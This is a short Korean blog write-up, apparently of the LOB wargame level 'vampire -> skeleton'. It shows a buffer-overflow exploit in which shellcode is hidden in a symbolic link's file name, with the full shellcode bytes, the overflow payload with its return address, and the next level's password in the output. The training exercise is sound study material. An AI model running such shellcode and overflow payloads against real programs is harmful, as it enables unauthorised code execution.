본문 바로가기

Wargame/LOB(끝)

vampire -> skeleton

argv 전체,

환경변수 전체 를 초기화 시킨다.

마땅한 페이로드가 생각나지 않아 삽질하던중,

메모리에 파일의 경로 값이 남는것을 발견했다.


그래서 gdb 로 확인을 해봤더니, 정말 초기화가 되지 않았다. 인자에 포함이 되지 않는 값인 것 같다.


그래서 심볼릭 링크를 이용해, (하드링크시 아이노드가 복사되어서 권한이 변경된다.)

파일 이름에 쉘코드를 포함시켰다.


[vampire@localhost payload]$ ls

????????????????????????????????????????????????????????????????????????????????????????????????????h?��?h�?SThjo?�h?i0chi0tij?Y�??Iy�A��T�

[vampire@localhost payload]$ rm -rf ./*

[vampire@localhost payload]$ ln -s ../

payload   skeleton  

[vampire@localhost payload]$ ln -s ../../

.bash_history  .bash_logout   .bash_profile  .bashrc        .emacs         .screenrc      skeleton       skeleton.c     tmp            

[vampire@localhost payload]$ ln -s ../../skeleton `python -c 'print "\x90"*100 + "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`

�  `python -c 'print "\x90"*44 + "\x9c\xff\xff\xbf"'`������������������������������������������������������������������������������h��΁h�^LSThjo��h^Ai0chi0tij^TY�^L^LIy�A��T�

������������������������������������������������

bash$ my-pass

euid = 510

shellcoder

bash$

'Wargame > LOB(끝)' 카테고리의 다른 글

darkknight -> bugbear  (0) 2015.03.20
공유 라이브러리 하이재킹, 1 byte overwirte 는 건너뜁니다.  (0) 2015.03.20
troll -> vampire  (0) 2015.02.02
gdb 특정 값찾기  (0) 2015.02.02
orge -> troll  (0) 2015.02.02